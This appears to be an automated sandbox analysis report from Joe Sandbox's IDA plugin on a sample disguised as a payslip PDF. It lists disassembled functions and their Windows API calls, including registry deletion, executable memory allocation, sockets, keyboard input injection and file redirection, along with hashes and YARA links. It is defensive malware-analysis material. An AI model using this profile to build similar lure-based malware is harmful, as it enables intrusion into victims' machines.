Instruction ID: d9acac8e52218e633b94e6a6a8ff5e59968e3faf280488f38200bd5510c71182
Opcode Fuzzy Hash: 04a8025a6b345151ccd08fdcfd0206d34694c632b2a4e53be458641c48d0ac47
Instruction Fuzzy Hash: 9711E332244218BAEF209F74DC05FEB77A9EF99768F050529FA45A6090D272D851DB70

Function 00CA4C95 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00CA4C2E), ref: 00CA4CA3
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00CA4CB5

Strings

GetNativeSystemInfo, xrefs: 00CA4CAF
kernel32.dll, xrefs: 00CA4C9E

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: ec3097c3232b4fc7acc143a4c430f82b1c4b975342796b220a8adbb79a69a0de
Instruction ID: 5b2ea990e22d91adbb40aa852045c58b90444f3d5c9f3bd10c334b1ba59e8dd6
Opcode Fuzzy Hash: ec3097c3232b4fc7acc143a4c430f82b1c4b975342796b220a8adbb79a69a0de
Instruction Fuzzy Hash: D5D01731610723CFD7209F31EA1860676F5AF66BA9B118C3E989AD6250E6B0D881CA60

Function 00CA4D94 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00CA4CE1,?), ref: 00CA4DA2
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00CA4DB4

Strings

Wow64RevertWow64FsRedirection, xrefs: 00CA4DAE
kernel32.dll, xrefs: 00CA4D9D

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: 2cdecf7079b1597f0bc370f3bbcd2f34fa54719f57bcf0826217722874582fc3
Instruction ID: f817b75ee7bb150b8f556f0291eb42d6391208d66c6d9c2032a18519f1291df0
Opcode Fuzzy Hash: 2cdecf7079b1597f0bc370f3bbcd2f34fa54719f57bcf0826217722874582fc3
Instruction Fuzzy Hash: AED01731950723CFDB309F35E808A4676F4AF5A75AB118C3AD8D6DA290E7B0D885CA60

Function 00CA4D61 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00CA4D2E,?,00CA4F4F,?,00D662F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00CA4D6F
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00CA4D81

Strings

Wow64DisableWow64FsRedirection, xrefs: 00CA4D7B
kernel32.dll, xrefs: 00CA4D6A

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: 2ae36442a70226cec6310426f5a2448d785717bad2db159516223c8b15d5e9be
Instruction ID: 523ef97ad60e8ea530fa6fc7560089ce494de7a8a6487b3b377af6585254b58c
Opcode Fuzzy Hash: 2ae36442a70226cec6310426f5a2448d785717bad2db159516223c8b15d5e9be
Instruction Fuzzy Hash: 05D01731910723CFDB319F35E80861676F8AF66756B618C3A9896DA290E6B0D884CA60

Function 00D21072 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,00D212C1), ref: 00D21080
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00D21092

Strings

advapi32.dll, xrefs: 00D2107B
RegDeleteKeyExW, xrefs: 00D2108C

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: b2593cde6854d4eac9ab5d14b096b5e5f6a9aa3b604bb7bd771f58e67ba7d893
Instruction ID: 61139b0d740e52d4983ae6af013911601d9fc9df976bf28d7abcba1045a8e75f
Opcode Fuzzy Hash: b2593cde6854d4eac9ab5d14b096b5e5f6a9aa3b604bb7bd771f58e67ba7d893
Instruction Fuzzy Hash: CED0C230400322CFC7304F30D81862672F4AF24762F04CC3AA885CA650D770C4C4C630

Function 00D193F5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000001,00D19009,?,00D2F910), ref: 00D19403
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 00D19415

Strings

kernel32.dll, xrefs: 00D193FE
GetModuleHandleExW, xrefs: 00D1940F

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: 780de2b844c6b5cc95cd4ac2c036315adaf854c081c73028c77de69252c4dd7e
Instruction ID: ebe17b6215c3957feefb66ca9ffb3b15628e315dcbee8630e1bf45a2a8480aea
Opcode Fuzzy Hash: 780de2b844c6b5cc95cd4ac2c036315adaf854c081c73028c77de69252c4dd7e
Instruction Fuzzy Hash: 7ED0C774500323DFCB308F30EA28243B6E4AF28342B04CC3AA882C2650EA70E8C4CA30

Function 00CF76C5 Relevance: 6.3, APIs: 4, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4207a28de6fb27adf57797f30314e1ea2b9be35575331a3dc4032cfdfdaf3a97
Instruction ID: 5b06ae9f9ec6421804b6ba2c1455730a72fa26fe1165b72d3ecf4663ab7bd192
Opcode Fuzzy Hash: 4207a28de6fb27adf57797f30314e1ea2b9be35575331a3dc4032cfdfdaf3a97
Instruction Fuzzy Hash: 8FC19D74A0421AEFCB54DF94C888EBEB7B5FF48310B118699E905EB250D730EE81CB91

Function 00D1E33E Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 00D1E3D2
CharLowerBuffW.USER32(?,?), ref: 00D1E415

Part of subcall function 00D1DAB9: CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 00D1DAD9

VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 00D1E615
_memmove.LIBCMT ref: 00D1E628

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: BuffCharLower$AllocVirtual_memmove
String ID:
API String ID: 3659485706-0
Opcode ID: ed51956f69617d09b74dcc1c3712c81f81a7e4c25a19747470811ea99abcacd2
Instruction ID: f1a3e2a780c4a897150ccbd3e3af586d3854dba80f9b6c7734f912f704b1a268
Opcode Fuzzy Hash: ed51956f69617d09b74dcc1c3712c81f81a7e4c25a19747470811ea99abcacd2
Instruction Fuzzy Hash: F6C16C71608311DFC714DF28C4809AABBE5FF89718F18896DF8999B351DB30E985CB92

Function 00D183A8 Relevance: 6.3, APIs: 4, Instructions: 267COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00D183D8
CoUninitialize.OLE32 ref: 00D183E3

Part of subcall function 00CFDA5D: CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00CFDAC5

VariantInit.OLEAUT32(?), ref: 00D183EE
VariantClear.OLEAUT32(?), ref: 00D186BF

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: 724781968e54ce877bbd8dfb32c48810f023361272619decdf64276178deae16
Instruction ID: c7bcb34d185af73fabb43b50c44c12501121836bb1d486a357e171361127c60d
Opcode Fuzzy Hash: 724781968e54ce877bbd8dfb32c48810f023361272619decdf64276178deae16
Instruction Fuzzy Hash: 9DA13775204702AFDB10DF64C482A5AB7E5FF89318F184449F99A9B3A1CF30ED44EB62

Function 00CF7A78 Relevance: 6.2, APIs: 4, Instructions: 231COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00D32C7C,?), ref: 00CF7C32
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00D32C7C,?), ref: 00CF7C4A
CLSIDFromProgID.OLE32(?,?,00000000,00D2FB80,000000FF,?,00000000,00000800,00000000,?,00D32C7C,?), ref: 00CF7C6F
_memcmp.LIBCMT ref: 00CF7C90

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: 8392ec98cae0d6fc27778b787b8f93a4f9f74615247d599d0b71639d8562e469
Instruction ID: a4665a97360f3a7db9c4c9051df91b7ec6d3d68e91e91a0eb6521fc95f4d1c9a
Opcode Fuzzy Hash: 8392ec98cae0d6fc27778b787b8f93a4f9f74615247d599d0b71639d8562e469
Instruction Fuzzy Hash: BC810B71A00109EFCB04DF94C988EEEB7B9FF89315F204598E515AB250DB71AE46CB61

Function 00CF6DF3 Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00CF6E04
SysAllocString.OLEAUT32(00000000), ref: 00CF6EAD
VariantCopy.OLEAUT32 ref: 00CF6EDC
VariantClear.OLEAUT32(?), ref: 00CF6F03

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: 53c88b20b4a1aea5e693e987af1831e08254cebd32b39326da3fcba13858755f
Instruction ID: 571f91ddc8217045664c687d71364a60b20337d050d79f36ef3db8ba38717216
Opcode Fuzzy Hash: 53c88b20b4a1aea5e693e987af1831e08254cebd32b39326da3fcba13858755f
Instruction Fuzzy Hash: C051CA3060430A9BDBB0AF65D495B7EF3E4EF45310F20892FE656CB291DF709840AB12

Function 00D29A63 Relevance: 6.1, APIs: 4, Instructions: 140COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(00FAE868,?), ref: 00D29AD2
ScreenToClient.USER32(00000002,00000002), ref: 00D29B05
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,00000002,?,?), ref: 00D29B72

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: 88805a0dc29725381fbe63369ad9642b64e22535d161c21168c9dbc8958ad450
Instruction ID: 96e854314b4731525768e235ea70d4bfd338bc118b5984b0c56e292589fae9cd
Opcode Fuzzy Hash: 88805a0dc29725381fbe63369ad9642b64e22535d161c21168c9dbc8958ad450
Instruction Fuzzy Hash: D1514F34A00219EFCF10CF68E8909AEBBB5FF65324F148569F8559B290D731ED41CBA0

Function 00D16CBD Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 00D16CE4
WSAGetLastError.WSOCK32(00000000), ref: 00D16CF4

Part of subcall function 00CA9997: __itow.LIBCMT ref: 00CA99C2
Part of subcall function 00CA9997: __swprintf.LIBCMT ref: 00CA9A0C

#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00D16D58
WSAGetLastError.WSOCK32(00000000), ref: 00D16D64

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ErrorLast$__itow__swprintfsocket
String ID:
API String ID: 2214342067-0
Opcode ID: 64437ff6a1a91792ef9081400feaa833ffa021147d09870c03f065f1a0ced521
Instruction ID: d6cf06fe859f7a08694e8f84f8c440aff02f1af3cbd84542c9f474fcced00338
Opcode Fuzzy Hash: 64437ff6a1a91792ef9081400feaa833ffa021147d09870c03f065f1a0ced521
Instruction Fuzzy Hash: F141B174740201AFEB20AF24EC87F7A77E5DF05B18F448418FA599B2D2DB759C019BA1

Function 00D1672D Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

#16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,00D2F910), ref: 00D167BA
_strlen.LIBCMT ref: 00D167EC

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: 6d04308720a98e402d5b03054c99655e20d3346d8c26121832c966e2091c4a64
Instruction ID: 22e702ec28ebfbfbd0b8c54257606aa37c52fb8898ab75237411006780e88b83
Opcode Fuzzy Hash: 6d04308720a98e402d5b03054c99655e20d3346d8c26121832c966e2091c4a64
Instruction Fuzzy Hash: EA417131A00505ABCB14EBA4ECC5EEEB3A9EF49314F148169F9169B2D2DF30ED44D761

Function 00D0BA5F Relevance: 6.1, APIs: 4, Instructions: 111fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00D0BB09
GetLastError.KERNEL32(?,00000000), ref: 00D0BB2F
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 00D0BB54
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 00D0BB80

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: 42ee8044e0f0b5c7eb94e118b1b273c0a0ded9074e03f0024513c8830ff57643
Instruction ID: e4a7958743c52be11971e307634542465e8b68ea002e670703c5107cf678e714
Opcode Fuzzy Hash: 42ee8044e0f0b5c7eb94e118b1b273c0a0ded9074e03f0024513c8830ff57643
Instruction Fuzzy Hash: 46412B39200611DFCB10DF65C585A5EBBE1EF4A324B098499EC4A9B372CB74FD01DBA1

Function 00D28AC0 Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00D28B4D

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: d00f7039ca2db65868907006345b2cf228937778730660661b31abaab1d85509
Instruction ID: e2048b3cd368af43795e081c4ff46aebc71e952097acff89abeecbdbe7a92665
Opcode Fuzzy Hash: d00f7039ca2db65868907006345b2cf228937778730660661b31abaab1d85509
Instruction Fuzzy Hash: C631D674606324BFEB209F18EC55FA93765EB29319F18491AFA51D62A0CE30D940AB71

Function 00D2ADF1 Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 00D2AE1A
GetWindowRect.USER32(?,?), ref: 00D2AE90
PtInRect.USER32(?,?,00D2C304), ref: 00D2AEA0
MessageBeep.USER32(00000000), ref: 00D2AF11

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: d38fa9069c7932e127b0e0f2224542ada812ee09fa7e9c640a0467326791b1f8
Instruction ID: 0b7895fd5a568eca595e0891f23d2f69021fd6367af82e3cea7dfa918125d0dc
Opcode Fuzzy Hash: d38fa9069c7932e127b0e0f2224542ada812ee09fa7e9c640a0467326791b1f8
Instruction Fuzzy Hash: 10416C706002259FCB11CF68E884A69BBF5FFA9354F1981A9F814DB355D731E802CBB2

Function 00D00FE6 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00D01037
SetKeyboardState.USER32(00000080,?,00000001), ref: 00D01053
PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 00D010B9
SendInput.USER32(00000001,00000000,0000001C,00000000,?,00000001), ref: 00D0110B

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 28a21675002c8828148ec2b0ef4de0ce3a9e44622801227595b10fe4d62b1c57
Instruction ID: 1efe117fd7626a015467a158a6f45ffee224b15b9499448a56d6a37797af8e72
Opcode Fuzzy Hash: 28a21675002c8828148ec2b0ef4de0ce3a9e44622801227595b10fe4d62b1c57
Instruction Fuzzy Hash: E5314434E40688AEFB348B66CC05BFABBA9EB45310F0C432AF5D8921D1C37589C59772

Function 00D01121 Relevance: 6.1, APIs: 4, Instructions: 101keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75C0C0D0,?,00008000), ref: 00D01176
SetKeyboardState.USER32(00000080,?,00008000), ref: 00D01192
PostMessageW.USER32(00000000,00000101,00000000), ref: 00D011F1
SendInput.USER32(00000001,?,0000001C,75C0C0D0,?,00008000), ref: 00D01243

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
